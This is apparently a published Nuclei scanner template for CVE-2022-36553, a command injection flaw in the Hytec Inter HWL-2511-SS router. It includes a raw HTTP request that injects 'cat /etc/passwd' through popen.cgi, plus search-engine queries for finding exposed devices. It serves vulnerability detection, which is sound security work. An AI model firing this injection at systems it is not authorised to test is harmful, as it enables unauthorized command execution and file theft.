Hytec Inter HWL-2511-SS - Remote Command Execution

ID: CVE-2022-36553

Severity: critical

Author: HuTa0

Tags: cve2022,cve,hytec,rce

Description

Hytec Inter HWL-2511-SS v1.05 and below was discovered to contain a command injection vulnerability via the component /www/cgi-bin/popen.cgi.

YAML Source

id: CVE-2022-36553

info:
  name: Hytec Inter HWL-2511-SS - Remote Command Execution
  author: HuTa0
  severity: critical
  description: |
    Hytec Inter HWL-2511-SS v1.05 and below was discovered to contain a command injection vulnerability via the component /www/cgi-bin/popen.cgi.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-36553
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/cellular-router-rce.yaml
    - https://gist.github.com/Nwqda/b27418ab801eb0b9cdbe8d042cb0249b
    - https://hytec.co.jp/eng/products/our-brand/hwl-2511-ss.html
    - https://hytec.co.jp/eng/wordpress/wp-content/uploads/2019/09/hwl-2511-ss-ds.3.0.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-36553
    cwe-id: CWE-77
    epss-score: 0.56895
    epss-percentile: 0.97694
    cpe: cpe:2.3:o:hytec:hwl-2511-ss_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: hytec
    product: hwl-2511-ss_firmware
    fofa-query: title="index" && header="lighttpd/1.4.30"
    zoomeye-query: app="Hytec Inter HWL-2511-SS"
  tags: cve2022,cve,hytec,rce

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /cgi-bin/popen.cgi?command={{command}}&v=0.1303033443137912 HTTP/1.1
        Host: {{Hostname}}

    payloads:
      command:
        - "cat%20/etc/passwd"
        - "type%20C://Windows/win.ini"
    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "contains(body_1, '<title>index</title>')"
          - "status_code == 200"
        condition: and

      - type: dsl
        dsl:
          - "contains(body, 'bit app support')"
          - "contains(body, 'fonts')"
          - "contains(body, 'extensions')"
          - "status_code == 200"
          - "contains(body_1, '<title>index</title>')"
        condition: and
# digest: 4a0a00473045022100a21740c9c071644352269c7d9ca5c0d30d4c8b48fe8cadd4f4919ba25ceb7612022005059a6ad788362e9f8b157bfc20fb61b064a794efe995978e58f17f2a2e1d76:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-36553.yaml"

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